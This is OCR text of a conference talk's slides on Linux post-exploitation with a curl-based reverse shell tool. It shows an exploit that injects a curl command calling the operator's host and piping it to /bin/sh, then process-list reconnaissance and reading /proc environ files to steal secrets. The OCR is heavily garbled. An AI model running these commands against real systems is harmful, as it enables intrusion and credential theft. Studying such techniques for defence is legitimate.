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Disclaimers

1. The views and ideas expressed in this talk belong to the speaker and do not

necessarily reflect the official policy or position of any current or past
employer.

2. Writing and using malware should be done with care. Be sure to consult with

appropriate technical, management, and legal advisors before attempting any
such activities.

3. The information presented in this talk is not specific to evading any particular
defensive product’s or project’s capabilities.

4. Forlegal use only.



1. A Simple Shell

2. A Discourse on Deconstruction
U p N eXt e Linux Operations into a
Collection of Related System
Very roughly, with some other Calls

bits in there as well 3 Hax



A Simple Shell



Initial access

|' v e Ops - Initial Access

X1

OpenBSD 7.7 (GENERIC) #2: Sun Jun 29 ©09:03:32 MDT 2025

< ogps.not-hdx.lol >

[ l===-w |

I I
[stuart@ops.not-hdx.lol: /home/stuart]
3

1"



Initial access

v e Ops - Initial Access X1
OpenBSD 7.7 (GENERIC) #2: Sun Jun 29 09:03:32 MDT 2025

< ops.not-hdx.lol >

-

N A_A
oo
N PAVAS

I I
[stuart@ops.not-hdx.lol: /home/stuart]

$ ./exploit.sh

S —
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Initial access

v e Ops - Initial Access

X1

OpenBSD 7.7 (GENERIC) #2: Sun Jun 29 ©09:03:32 MDT 2025

< ops.not-hdx.lol >

-

N A_A
oo
N PAVAS

I I
[stuart@ops.not-hdx.lol: /home/stuart]

$ ./exploit.sh 'id; uname -a'

S —
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Initial access

e0e Ops - Initial Access X1

OpenBSD 7.7 (GENERIC) #2: Sun Jun 29 ©09:03:32 MDT 2025

< ops.not-hdx.lol >

\.. L
NofeadN L
. AVAN
[ |====w |
I I
[stuart@ops.not-hdx.lol: /home/stuart]
$ ./exploit.sh 'id; uname -a'
uid=1000(wurzel) gid=1000(wurzel) groups=1000(wurzel)

Linux victim 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-88-02) x86_64 GNU/Linux




Curlrevshell - Listening

iy i
[stuart®ops.not-hdx. Lol : /ho
i curlrevshell

4 ah

Code: github.com/magisterguis/curlrevshell

Ops - Curlrevshell

T



Curlrevshell - Listening

iy L Ops - Curlrevshell

[stuart®ops.not-hdx. Lol : /ho ]
§ curlrevshell -callback-address ops.not-hdx.lol -template crs/crs.tmpl -ctrl-i crs/ctri-i

4 ah

Code: github.com/magisterguis/curlrevshell

T



Curlrevshell - Listening

iy L Ops - Curlrevshell TE

[stuart®ops.not-hd4x, lal: /1 rt]

§ curlrevshell -callback-address ops.not-hdx.lol -template crs/crs.tmpl -ctrl-i crs/ctri-i
12:14:15.912 Welcome to curlrevshell version v@.0.1-beta.?.0.20250905220249-9c38398bcedb
12:14:15.948 Listening on 0.0.0.0:4444

4 ah

Code: github.com/magisterguis/curlrevshell




Curlrevshell - Listening

iy L Ops - Curlrevshell

[stuart®ops.not-hd4x, lal: /1 I

§ curlrevshell -callback-address ops. nut -hdx.lol -template crs/crs.tmpl -ctrl-i crs/ctril-i
12:14:15.912 Welcome to curlrevshell version v@.0.1-beta.?.0.20250905220249-9c38398bcedb
12:14: 15 943 Ltstemng an Ei 0.0.0:4444

12:14: 948 To g she

curl -sk --pinnedpubkey shaZ5c//CRYNAZzvhdtRPIVIMsTIXp iMSXNEVEK7BaslRHPCDZ /0= https:/ ops.not-hd

& ah

Code: github.com/magisterquis/curlrevshell

T



Curlrevshell - The General Idea




Curlrevshell - The General Idea

curl:/

"g?/
curl://




Curlrevshell - The General Idea

https://not-hdx . 1lol/S$ID/i |

curl:/

\/

./ /not-hax.101/$ID/o ‘Cur']_g// ‘




Curlrevshell - The General Idea

mmmmmm Vleurl://|

v |
z{?/
i curls//|




Curlrevshell - The General Idea

S Y g 0/4

\/

Shell Stdout/Stderr via Curl ‘Cl ""\13 J ‘
i




Curlrevshell - The General Idea




Callback

L] .- Ops - Curlrevshell
: stuarteops . not -y laol T i 1 !
5 curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-i crs/ctrl-1

12:14:15.912 Welcome to curlrevshell wversion v0.8.1-beta.7.0.20250985228249-9c38398bced6
12:14:15.948 Listening on @.0.9.0:4444

14-15. 948 To get a shel

Cur gk pinnedpubkey sha2bl CkYWaAzyhd tRPIV2MsTI X pMSXNOYE TRas 1 RHPCD:

(113

Code: github.com/magisterquis/curlrevshell

T



i i Ops - Exploit for a Shell HE2
Ca” back [stuartBops. not-hdx. Lol : Shoms art]

L Jexploit.sh '
= curl
> -=insecure %
= ~-pinnedpubkey sha2S6//CkYWAzyhdtRPIVEMsTIXp JMSENAVEK7Bas LRHPCDZ /0T= A
> --silent %

® ® > https://ops.not-hdx. lol:4444/¢c |
> /binssh >/dev/mull 2-81 &

[ stuart®ops . not-hdx . 1ol » !

5 curlrevshell -callboack-oddre wt-hdx . lol -templote crs/orsscmprpseorEsTpErSsETHETE

12:14:15.912 Welcome to curlre rersion vB.8.1-beta. 7.0, 20250995220249-9c3839EbceSG

12:14:15.948 Listening on @.8. 4

14:15.948 To get a shell:
CLT sk ol anedmubkey shodSt CkYWazvhd tRPIVIMsTI l.::_'-f'_,\"];'!'..-\:';. 1= 1 RHPCD; https ons . not -hidx 1 - 444 ¢ B sl

(113

Code: github.com/magisterquis/curlrevshell

26



® & Ops - Exploit for a Shell K2

Ca II back [stuartBops. not-hdx. Lol : Shoms wart]
L Jexploit.sh '
= curl
> -=insecure %
= ~-pinnedpubkey sha2S6//CkYWAzyhdtRPIVEMsTIXp JMSENAVEK7Bas LRHPCDZ /0T= A
--silent %
® ® https://ops.not-hdx. lol:4444/¢c |
/binssh >/dev/mull 2-81 &
[ stuartfops.not-hdx. lol d
5 curlrevshell -callbock-oddres Jt-hix . lol -template crs SSrmEpsETRESIEESSUERCTE
12:14:15.912 Welcome to curlre version vB.8.1-beta.7.0. 24250905220249-9c3839EbceSt
12:14:15.948 Listening on @.8. 4
14:-15. 948 To aet a shell:
if K I U i FidtRF MsTIXpIMSANOVET f ] J

27
Code: github.com/magisterquis/curlrevshell




Callback

L] .- Ops - Curlrevshell

:!'.'_|__-|'_r'1''-.'||_‘|[!l not - mdx ||:|' T i !

5 curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-i crs/ctrl-1
12:14:15.912 Welcome to curlrevshell version v0.8.1-beta.7.0.20250985220249-9¢38398bce96
12:14:15.948 Listening on @.0.9.0:4444

14-15. 948 To get a shel

Code: github.com/magisterquis/curlrevshell

T

28



Callback

L] .- Ops - Curlrevshell

:!'.'_|__-|'_r'1''-.'||_‘|[!l not - mdx ||:|' T i !

5 curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-i crs/ctrl-1
12:14:15.912 Welcome to curlrevshell version v0.8.1-beta.7.0.20250985220249-9¢38398bce96
12:14:15.948 Listening on @.0.9.0:4444

14-15. 948 To get a shel

Code: github.com/magisterquis/curlrevshell

T
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Callback

L] .- Ops - Curlrevshell

:!'.'_|__-|'_r'1''-.'||_‘|[!l not - mdx ||:|' T i !

5 curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-i crs/ctrl-1
12:14:15.912 Welcome to curlrevshell version v0.8.1-beta.7.0.20250985220249-9¢38398bce96
12:14:15.948 Listening on @.0.9.0:4444

14-15. 948 To get a shel

Code: github.com/magisterquis/curlrevshell

T
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Callback

L] .- Ops - Curlrevshell

:!'.'_|__-|'_r'1''-.'||_‘|[!l not - mdx ||:|' T i !

5 curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-i crs/ctrl-1
12:14:15.912 Welcome to curlrevshell version v0.8.1-beta.7.0.20250985220249-9¢38398bce96
12:14:15.948 Listening on @.0.9.0:4444

14-15. 948 To get a shel

Code: github.com/magisterquis/curlrevshell

T

31



Callback

LY & Ops - Curlrevshell T
:5.r_|_;|1r'1--|'|p5, not-mix. lol = Mome 1 i |

5 curlrevshell -callbock-oddress ops.not-hdx.lol -templote crs/crs.tmpl -ctrl-i crs/ctrl-1
12:14:15.912 Welcome to curlrevshell version v0.8.1-beta.7.0.20250985220249-9¢38398bce96

12:14:15.948 Listening on @.0.9.0:4444

14-15 . 948 To get a shell:
If k v pub 125 kKYNAzyhatRP MsTIXpIMSENOVE TRasT RHPLD htt 1 f 1ins stk
1 15 (] v | S ¥ 10 34k 4 1 C2AddP o | x 4444 Pg £
(%] Il
1 11"
ps awwwux
USER PID %CPU BMEM V52  RSS TTY STAT START  TIME COMMAND
root 2 0.0 8.0 @ a7 §  Augdl  0:00 [kthreodd]
root 3 9.0 0.0 @ a? I« Mug3l @00 . [rou_gpl

& ah

Code: gi i i rlrev




Situational Awareness

L RN ] Ops - Curirevshell ¥l
root 32B80 0.0 0.8 15444 4023 7 S5 Sep@3 8.8 sshd: fusr/sbin/sshd -D [listener] @ of 18-18@ startups

root ATEETE 8.0 2.2 17428 16636 7 Sg 18:82 @08 _ sshd: don [priv]

don 476701 8.8 1.3 17688 @528 7 5 10:82 @:00 . sshd: donBpts/@

dan 476782 9.0 9.9 5416 4456 pts/@ Ss+ 10:02 @:6d “_ -bash

systemd+ 266091 2.8 2.4 13048 1984 ? S Sepld& 9:08 Slib/systemd/systemd-networkd

roat 26899 9.8 11.1 155828 52836 7 S5z Sep@& @:18 slib/systemd/systemd-journald

systemde Zo7468 8.0 0.6 90244 2976 7 S5l Sep@6  @:@1 /lib/systemd/systemd-timesyncd

root 267507 9.0 ©.2 26588 1276 7 S5 Sepl@b  0:@d Slibssystemd/systemd-udevd

systemd+ 267591 @.8 1.3 28736 B216 7 S5 Sepldé 8:08 slib/systemd/systemd-resolved

roat 208135 9.8 9.0 13132 4127 S«sl Sep@E& ©:05 /shinfouditd

wurzel 308351 8.8 1.7 18936 8104 7 S5 Sep@6 @88 libssystemd/systemd --user

wurzel 308352 @.0 0.7 168772 3476 7 5 Sepdt @08 _ (sd-pam)

roat 329730 9.0 9.4 1227008 2316 7 S1  Sepl@? 8:02 Juse/local/shin/procrastinationedr -log Svar/log/procrastinationedr. log
root 329736 8.0 9.1 2944 624 7 S Sep@d7  8:00 . toil --follow=nome --silent Svar/logfouditsoudit.log

daon 476679 8.8 2.1 183972 1184 ? S5 19:@2 9:08 /lib/systemd/systemd --user

don 476681 8.8 @.7 163772 3480 7 5 19:82 888 _ (sd-pam)

wurzel 476982 @.1 2.2 1231479 10436 7 51 18:13 9:88 wulnerableserver -domain victim.not-hdx, lol

wurzel 477131 9.8 9.2 2584 9487 S 18:14 9:08 /binsh

wurzel 477133 8.0 2.3 94143 11196 ¢ 5 19:14 @:@@ “_ curl -sk --pinnedpubkey shoZ56//CkYWAZYh4tRPIVZMSTIXp jMEXNVK7BoS IRHPCDZ/01=
https:/fops . not-hdx . Lol : 444471/ 3dbowiBebu2 17 -M

wurzel 477134 8.0 9.1 2584 BB4 7 s 18:14 @:88 °_ /binfsh

wurzel 477138 8.8 9.8 8540 4208 7 R 18:14 @08 | ps owwfux

wurzel 477135 8.9 2.6 94096 12200 7 5 18:14 @:08 “_ curl -K- something-normal.com



Situational Awareness - An admin?

L RN ] Ops - Curirevshell ¥l
root 3ZER8 8.2 0.8 15444 4928 7 S5 Sep@3 @:@d sshd: susr/sbinfsshd -D [listener] @ of 18-180 startups

root 476676 0.0 2.2 17428 16636 7 S 10:02 @:ed _ sshd: don [priv]

'|don 476701 9.9 1.3 17683 6528 ¢ s 10:22 .00 “_ sshd: donBpts/0

|dan 476782 8.8 0.9 5416 4456 pts/@ Ss+  10:02 @04 S_ -bash

systemd+ 266091 2.8 2.4 13048 1984 ? S5 Sepld&  9:08 Slib/systemd/systemd-networkd

roat 26899 9.8 11.1 155828 52836 7 S5z Sep@& @:18 slib/systemd/systemd-journald

systemde Zo7468 8.0 0.6 90244 2976 7 S5l Sep@6  @:@1 /lib/systemd/systemd-timesyncd

root 267507 9.0 ©.2 26588 1276 7 S5 Sepl@b  0:@d Slibssystemd/systemd-udevd

systemd+ 267591 @.8 1.3 28736 B216 7 S5 Sepldé 8:08 slib/systemd/systemd-resolved

root 298135 9.0 0.0 13132 4127 S«<sl Sepdf& @:85 sbin/ouditd

wurzel 308351 8.8 1.7 18936 8104 7 S5 Sep@6 @88 libssystemd/systemd --user

wurzel 308352 @.0 0.7 168772 3476 7 5 Sepdt @08 _ (sd-pam)

roat 329730 9.0 9.4 1227008 2316 7 S1  Sepl@? 8:02 Juse/local/shin/procrastinationedr -log Svar/log/procrastinationedr. log
root 320736 8.0 0.1 2944 624 7 S Sep@d?  @:@80 °_ toil --followenaome --silent /vor/log/oudit/oudit.log

|\ dan 476679 8.8 2.1 13972 114 ? S5 19:@2  9:08 Slib/systemd/systemd --user|

don 476681 8.8 ©.7 168772 3488 7 5 18:02  8:08 \_ (sd-pam)

| wurzel 476982 @.1 2.2 1231479 10436 7 51 18:13 9:88 wvulnerableserver -domain victim.not-hdx, lol

wurzel 477131 9.0 ©.2 2584 940 7 S 18:14 2:88 /bin/sh

wurzel 477133 8.0 2.3 94143 11196 ¢ 5 19:14 @:@@ “_ curl -sk --pinnedpubkey shoZ56//CkYWAZYh4tRPIVZMSTIXp jMEXNVK7BoS IRHPCDZ/01=
https:/fops . not-hdx . Lol : 444471/ 3dbowiBebu2 17 -M

wurzel 477134 B0 ©.1 2584 BB4 ? 5 18:14 980 °_ /bin/sh

wurzel 477138 8.8 9.8 8540 4208 7 R 18:14 @08 | ps owwfux

wurzel 477135 8.9 2.6 94096 12200 7 5 18:14 @:08 “_ curl -K- something-normal.com



Situational Awareness - EDR, such as it is

L N Ops - Curirevshell i1
root 32ER8 9.9 0.8 15444 4928 7 S5 Sep@3 @:0@ sshd: Jusr/sbinssshd -D [listener] @ of 18-18@ startups

root 476676 0.0 2.2 17428 16636 7 S 10:02 @:0d _ sshd: don [priv]

don 476701 9.9 1.3 17683 6528 ¢ s 10:82 @:2a “_ sshd: donBpts/@

daon 476782 9.0 9.9 5416 4456 pts/@ Ss+ 10:02 @:6d “_ -bash

systemd+ 266091 2.8 2.4 13048 1984 ? S Sepld& 9:08 Slib/systemd/systemd-networkd

roat 26899 9.8 11.1 155828 52836 7 5z Sep@e 9:10 Slib/systemd/systemd-journald

systemde Zo7468 8.0 0.6 90244 2976 7 S5l Sep@6  @:@1 /lib/systemd/systemd-timesyncd

root 267507 9.0 ©.2 26588 1276 7 S5 Sepl@b  0:@d Slibssystemd/systemd-udevd

systemds 267591 @.8 1.3 2076 6216 7 55  Seplt @08 /libssystemd/systemd-resolved

[root 798135 9.8 0.0 13132 412 7 S<sl Sepd6  8:05 /sbin/ouditd|

wurzel 308351 8.8 1.7 18936 8104 7 S5 Sep@c @88 SlibSsystemd/systemd --user

wurzel 388352 8.0 0.7 168772 3476 7 5 Sep@t  @:@8 “\_ (sd-pam)

roat 329738 8.0 8.4 1227000 2316 ¢ 51 Sepl? @82 Jusr/local/sbin/procrastinationedr -log /var/log/procrastinationedr. ‘Lug,=
root 329736 9.0 0.1 7944 624 7 5 Sep@d?  @:@0 °_ toil --followe=nome --silent /var/log/oudit/oudit.log r
daon 476679 8.8 2.1 183972 1184 ? S5 19:@2 oed r’hb.r"systendfs:.rstw ~-user

don 476681 8.8 @.7 163772 3480 7 5 18:02 @00 “_ (sd-pom)

wurzel 476982 @.1 2.2 1231479 10436 7 51 18:13 9:88 wulnerableserver -domain victim.not-hdx, lol

wurzel 477131 9.0 ©.2 2584 940 7 S 18:14 2:88 /bin/sh

wurzel 477133 8.0 2.3 94143 1119 7 5 19:14 @:@@ “_ curl -sk --pinnedpubkey shoZ56//CkYWAZYh4tRPIVZMSTIXp jMEXNVK7BoS IRHPCDZ/01=
https:/fops . not-hdx . Lol : 444471/ 3dbowiBebu2 17 -M

wurzel 477134 B0 ©.1 2584 BB4 ? 5 18:14 980 °_ /bin/sh

wurzel 477138 @.8 9.8 8540 4208 7 R 18:14 @08 | ps owwfux

wurzel 477135 8.9 2.6 94096 12200 7 5 18:14 @:08 “_ curl -K- something-normal.com



Situational Awareness - Kinda goofy

L RN ] Ops - Curirevshell ¥l
root 32B80 0.0 0.8 15444 4023 7 S5 Sep@3 8.8 sshd: fusr/sbin/sshd -D [listener] @ of 18-18@ startups

root ATEETE 8.0 2.2 17428 16636 7 Sg 18:82 @08 _ sshd: don [priv]

don 476701 8.8 1.3 17688 @528 7 5 10:22 .00 . sshd: donBpts/@

dan 476782 9.0 9.9 5416 4456 pts/@ Ss+ 10:02 @:6d “_ -bash

systemd+ 266091 2.8 2.4 13048 1984 ? S Sepld& 9:08 Slib/systemd/systemd-networkd

roat 26899 9.8 11.1 155828 52836 7 S5z Sep@& @:18 slib/systemd/systemd-journald

systemde Zo7468 8.0 0.6 90244 2976 7 S5l Sep@6  @:@1 /lib/systemd/systemd-timesyncd

root 267507 9.0 ©.2 26588 1276 7 S5 Sepl@b  0:@d Slibssystemd/systemd-udevd

systemd+ 267591 @.8 1.3 28736 B216 7 S5 Sepldé 8:08 slib/systemd/systemd-resolved

roat 208135 9.8 9.0 13132 4127 S«sl Sep@E& ©:05 /shinfouditd

wurzel 308351 8.8 1.7 18936 8104 7 S5 Sep@6 @88 libssystemd/systemd --user

wurzel 308352 @.0 0.7 168772 3476 7 5 Sepdt @08 _ (sd-pam)

roat 329730 9.0 9.4 1227008 2316 7 S1  Sepl@? 8:02 Juse/local/shin/procrastinationedr -log Svar/log/procrastinationedr. log
root 329736 8.0 9.1 2944 624 7 S Sep@d7  8:00 . toil --follow=nome --silent Svar/logfouditsoudit.log

daon 476679 8.8 2.1 183972 1184 ? S5 19:@2 9:08 /lib/systemd/systemd --user

don 476681 8.8 @.7 163772 3480 7 5 19:82 888 _ (sd-pam)

wurzel 476082 9.1 2.2 1231470 19436 7 51 1@:13  @9:80 wvulnercbleserver -domain victim.not-hdx.lol
Hwurzel 477131 9.@ 9.2 2584 940 7 S 18:14 9:08 /bin/sh
|lwurzel 477133 8.0 2.3 94143 1119 ¢ 5 10:14 @:@@ “_ curl -sk --pinnedpubkey shoZ56//CkYWAZYh4tRPIVZMSTIXp jMEXNVK7BoS LRHPCDZ/01=

https:/fops . not-hdx . Lol : 444471/ 3dbowiBebu2 17 -M

wurzel 477134 8.0 9.1 2584 BB4 7 s 18:14 @:88 °_ /binfsh

477138 8.8 9.8 8540 4208 7 R i @88 | ps owwfux
477135 8.9 2.6 94896 12700 7 5 @88 S curl -K- somethi

36



Situational Awareness - Not root

L N Ops - Curirevshell i1
root 32ER8 9.9 0.8 15444 4928 7 S5 Sep@3 @:0@ sshd: Jusr/sbinssshd -D [listener] @ of 18-18@ startups
root 476676 0.0 2.2 17428 16636 7 S 10:02 @:0d _ sshd: don [priv]
don 476701 9.9 1.3 17683 6528 ¢ s 10:22 .00 “_ sshd: donBpts/@
daon 476782 9.0 9.9 5416 4456 pts/@ Ss+ 10:02 @:6d “_ -bash
systemd+ 266091 2.8 2.4 13048 1984 ? S Sepld& 9:08 Slib/systemd/systemd-networkd
roat 26899 9.8 11.1 155828 52836 7 5z Sep@e 9:10 Slib/systemd/systemd-journald
systemde Zo7468 8.0 0.6 90244 2976 7 S5l Sep@6  @:@1 /lib/systemd/systemd-timesyncd
root 267507 9.0 ©.2 26588 1276 7 S5 Sepl@b  0:@d Slibssystemd/systemd-udevd
systemds 267591 @.8 1.3 28736 6216 7 S5 Seplt 2:08 /lib/systemd/systemd-resolved
root 298135 9.0 0.0 13132 4127 S«<sl Sepdf& @:85 sbin/ouditd
wurzel 308351 8.8 1.7 18936 8104 7 S5 Sep@6 @88 libssystemd/systemd --user
wurzel 308352 8.0 0.7 168772 3476 7 5 Sepdt @08 _ (sd-pam)
roat 329730 9.0 9.4 1227008 2316 7 S1  Sepl@? 8:02 Juse/local/shin/procrastinationedr -log Svar/log/procrastinationedr. log
root 329736 0.0 0.1 2944 624 7 5 Sep@d7  8:00 . toil --follow=nome --silent Svar/logfouditsoudit.log
daon 476679 8.8 2.1 183972 1184 ? S5 18:@2 @88 Slib/systemd/systemd --user
don 476681 8.8 @.7 163772 3480 7 5 19:82 888 _ (sd-pam)
r'ﬁ""""'!".!m 476982 @.1 2.2 1231479 10436 7 51 18:13 9:88 wulnerableserver -domain victim.not-hdx, lol
|lwurzel | 477131 9.8 0.2 2584 940 7 S 18:14 2:88 /bin/sh
wurzel 477133 8.0 2.3 94143 1119 7 5 19:14 @:@@ “_ curl -sk --pinnedpubkey shoZ56//CkYWAZYh4tRPIVZMSTIXp jMEXNVK7BoS IRHPCDZ/01=
Fops not-hdx ., Lol : 444471/ 34kow1Bebu217g -N
477134 B0 ©.1 2584 BB4 ? 5 18:14 980 °_ /bin/sh
477138 8.8 @.8 8540 42ROV R @00 | o ops owwwfux
477135 8.8 2.6 94896 12700 7 5 @:98 _ curl -K- something-normal.com




Situational Awareness - No custom code (yet)

L

systemd+
roat
systemds
root
systemds
root
wurzel
wurzel
root
root

dan

don
wurzel
wurzel
wurzel

https:/fops . not-hdx . Lol : 444471/ 3dbowiBebu2 17 -M

wurzel
wurzel
wurzel

32E88
A766TE
476701
476782
26691
2660909
207468
267587
267501
208135
308351
308352
329738
329736
476673
476681
47p982
477131
477133

@.0

15444
17428
17688
5416
laee
155828
02a4
26588
28736
13132
18936
B 7 168772

—
HaHEO PSRN
S E W R WD W R De

4828 7
18636 7
B528 7
4456 pts/@
1984 2
52836 7
2976 7
1276 7
B216 7
412 7
BlB4 7
76 7

8.4 1227000 2316 7

8.1 2944
2.1 18972
8.7 168772

624 7
19184 ?
3480 ?

2.2 1231479 19436 7

9.2 I584
2.3 94143

477134 9.8 @.1 2584

477138
477135

8.8

2.8 8540

S48 7
11196 ?

B8e 7
4208 7

8.0 2.6 940% 12200 7

Ss
Ss

S5+
L1
5%
Ssl
S5
5%
S<sl

L]

w3

Sep@3
16:82
10:82
18:82
SepdE
Sep@6
Sepd6
Seplb
SeplE
SepldE
Seplb
Sepdb
Sep@7
Sep@7?
1892
18:82
1@:13
18:14
10:14

18:14
18:14
18:14

Ops - Curlrevshell THI

@:8 sshd: Jusr/sbinfsshd -D [listener] @ of 18-18@ startups

@:88 “_ sshd: don [priv]

L . sshd: donBpts/@

@08 “_ -bash

@:88 ib/systemd/systemd-networkd

8:19 ib/systemd/ systemsd-journald

8:81 /ib/systemd/systemd-timesyncd

8:8@ /lib/systemd/systemd-udevd

@:08 /lib/systemd/systemd-resolved

@:85 /sbin/ouditd

@88 /lib/systemd/systemd --user

@:88 _ (sd-pam)

8:82 Susr/lecal/shinfprocrastinationedr -log /var/log/procrastinationedr. log
8:08 _ toil --follow=nome --silent Svor/logfouditfoudit.log

@08 /lib/systemd/systemd --user

@08 _ (sd-pam)

8:08 wulnerableserver -domain victim.not-hdx, lol

@ ﬁ /bin/sh

@: Wf Y. curl -sk --pinnedpubkey sha256./CkYWAZyhatRPIVZMSTIKp jMSXNGVETBos LRHPCDZ A0T=

808 _ /binfsh
008 |\ ps arwwfux
@:00 _ curl -K- something-normal.com
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Situational Awareness - Probably not in a container

systemd+
roat
systemds
root
systemds
root
wurzel
wurzel
root
root

dan

don
wurzel
wurzel
wurzel

https:/fops . not-hdx . Lol : 444471/ 3dbowiBebu2 17 -M

wurzel
wurzel
wurzel

32888
476676
476701
476702
266OI1
266099
67468
ZETSET
267591
208135
388351
38352
329738
329736
476679
476681
476982
477131
477133

@.0

15444
17428
17688
5416
laee
155828
02a4
26588
28736
13132
18936
B 7 168772

—
HaHEO PSRN
S E W R WD W R De

4828 7
18636 7
B528 7
4456 pts/@
1984 2
52836 7
2976 7
1276 7
B216 7
412 7
BlB4 7
76 7

8.4 1227000 2316 7

8.1 2944
2.1 18972
8.7 168772

624 7
19184 ?
3480 ?

2.2 1231479 19436 7

9.2 I584
2.3 94143

477134 9.8 @.1 2584

477138
477135

8.8

2.8 8540

S48 7
11196 ?

B8e 7
4208 7

8.0 2.6 94096 12200 ?
e ——

13
Ss

S5+
L1
5%
Ssl
S5
5%
5«51

w3

Sep@3
16:82
10:82
18:82
SepdE
Sep@6
Sepd6
Seplb
SeplE
SepldE
Seplb
Sepdb
Sep@7
Sep@7?
1892
18:82
1@:13
18:14
10:14

18:14
18:14
18:14

Ops - Curlrevshell

@ m&sshd Jusr/sbinsshd -D [listener] @ of 18-16@ stnr'tu.psf
@: ﬂ %_ sshd: don [priv]

@: ﬂg . sshd: donBpts/@

;00 \_ -bash

8:08 /1ib/systemd/systemd-networkd
8 lﬂf Sib/systemd/ systemd-journald
8:01 /lib/systemd/systemd-timesyncd
8:00 /lib/systemd/systemd-udevd
@:08 /lib/systemd/systemd-resolved
8:05! /sbin/ouditd

8:08 /1ib/systemd/systemd --user
2:08 \_ (sd-pam)

2:82 .-"us.rﬂocnlfsmnfpmcrd_r.tmntlmedr' -lug fmrflugfpmtmsﬂmttmedr log

8:08 _ toil --follow=nome --silent Svor/logfouditfoudit.log
@08 /lib/systemd/systemd --user

@08 _ (sd-pam)

@:08 vulnerobleserver -domain victim.not-hdx. lol

288 /binssh

¥l

@:8@ _ curl -sk --pinnedpubkey sha2S6//CkYWAZyh4 tRPIVZMSTIND JMSXNOVKTBaSIRHPCDZ/01=

2:88 _ /binfsh
@88 | ps owwfux
@:00 “_ curl -K- something-normal.com



A Simple Shell - So...?

tl;dr - We type things,
target does things
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A Simple Shel

I'm a Teal
Deer...

tl;dr - We type things,
target does things

41



hings which aren't quite Hacking yet



/hllosophlcal Ramblmg\

hlngS \K - Mrs. McMurray klng yet




Back to the shell

ene Ops - Curlrevshell Tl
wurzel — 476982 @.1 2.2 1231420 10436 ? 51 18:13  2:00 wulnerableserver -domain victim.not-hdx.lol
wurzel 477131 9.0 8.2 2584 948 7 S 18:14 8:80 /binssh
wurzel 477133 0.9 2.3 94148 11196 7 b 18:14  @:80 o curl -sk --pinnedpubkey sho256//CkYWAzZyh4tRP1VZMsTIXpjMSANGVETBas1RHPCDZ/01=
https://ops.not-hdx. Lol : 44441/ 34kwjBcbu2j7q -N
wurzel 477134 9.0 ©.1 2584 8B4 7 5  18:14 @:e@ _ /binfsh
wurzel 477138 9.0 ©.8 8540 4200 7 R 18:14 @80 | ps owwfux
477135 0.0 2.6 9409 12:20@ 7 5 1814 @8 N curl -K- something-normal . com

I‘mrzel



Back to the shell - "Us"

ave Ops - Curlrevshell Tl
wurzel 476982 @.1 2.2 1231420 18436 7 51 18:13  @:00 wulnerableserver -domgin victim.not-hdx.lol

wurzel 477131 9.0 0.2 2584 949 7 5 18:14  ©8:00 /bin/sh

wurzel 477133 9.0 2.3 94148 11196 7 5 18:14  0:80 ‘. curl -sk --pinnedpubkey sho25e//CkYWAZyh4tRP1VZMsTIXp JMSXNGVK7Bas IRHPCDZ/01=
https://ops.not-hdx. Lol : 44441/ 34kwjBcbu2j7q -N

wurzel 477134 9.0 8.1 2584 8B4 7 5 18:14 @:2@ *_|/bin‘sh

wurzel 477138 9.0 8.8 BS540 4200 7 R 19:14 @20 | _ ps owwwfux

wurzel 477135 0.0 2.6 94089 12200 7 5 19:14 @80 o curl -K- something-normal . com
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Back to the shell - A command

| BN Ops - Curlrevshell Tl
wurzel 476982 0.1 2.2 1231420 18436 7 51 18:13 9:00 wulnerableserver -domgin victim.not-hdx.lol

wurzel 477131 9.0 9.2 2584 948 7 S  18:14 9:00 /binssh

wurzel 477133 9.0 2.3 94148 11196 7 5 19:14  @:80 o curl -sk --pinnedpubkey sha25e//CkYWAZyh4tRPIVZMsTIXpjMSXNOVK7BasIRHPCDZ/01=
https://ops.not-hdx. Lol : 44441/ 34kwjBcbu2j7q -N

wurzel 477134 9.0 @.1 2584 BB4 7 5 10:14 9:08 _ /bin‘sh —

wurzel 477138 9.0 ©.8 8540 4200 7 R 18:14 @&:8@ | “_|ps owwfux

wurzel 477135 0.0 2.6 94089 12200 7 5 10:14 @:8@ ‘_ curl -K- something-normal.com
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Back to the shell - A program

| BN Ops - Curlrevshell Tl
wurzel 476982 0.1 2.2 1231420 18436 7 51 18:13 9:00 wulnerableserver -domgin victim.not-hdx.lol

wurzel 477131 9.0 9.2 2584 948 7 S  18:14 9:00 /binssh

wurzel 477133 9.0 2.3 94148 11196 7 5 19:14  @:80 o curl -sk --pinnedpubkey sha25e//CkYWAZyh4tRPIVZMsTIXpjMSXNOVK7BasIRHPCDZ/01=
https://ops.not-hdx. Lol : 44441/ 34kwjBcbu2j7q -N

wurzel 477134 9.0 @.1 2584 BB4 7 5 10:14 9:08 _ /bin‘sh —

wurzel 477138 9.0 ©.8 8540 4200 7 R 18:14 @&:8@ | “_|ps owwfux

wurzel 477135 0.0 2.6 94089 12200 7 5 10:14 @:8@ ‘_ curl -K- something-normal.com

47



Back to the shell - Programs

| BN Ops - Curlrevshell Tl
wurzel 476982 0.1 2.2 1231420 18436 7 51 18:13 9:00 wulnerableserver -domgin victim.not-hdx.lol

wurzel 477131 9.0 9.2 2584 948 7 S  18:14 9:00 /binssh

wurzel 477133 9.0 2.3 94148 11196 7 5 19:14  @:80 o curl -sk --pinnedpubkey sho25e//CkYWAZyh4tRPIVZMsTIXpjMSXNOVK7BasIRHPCDZ/01=
https://ops.not-hdx. Lol : 44441/ 34kwjBcbu2j7q -N

wurzel 477134 9.0 @.1 2584 BB4 7 §  19:14 9:80 ﬂ'bL@'shE —

wurzel 477138 9.0 ©.8 8540 4200 7 R 18:14 @:8Q | “_|ps owwfux

wurzel 477135 0.0 2.6 94089 12200 7 5 10:14 @:0@ “_ curl -K- something-normal.com

48



The bulk of Linux theft: Reading files

|... Ops - Curlrevshell

1
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The bulk of Linux theft: Reading files

[ BN Ops - Curlrevshell X1

> /proc/476982/environ

T —

50



The bulk of Linux theft: Reading files

[ BN Ops - Curlrevshell X1

> cat /proc/476982/environ

. g

51



The bulk of Linux theft: Reading files

@ @® Ops - Curlrevshell i1

> cat /proc/476982/environ
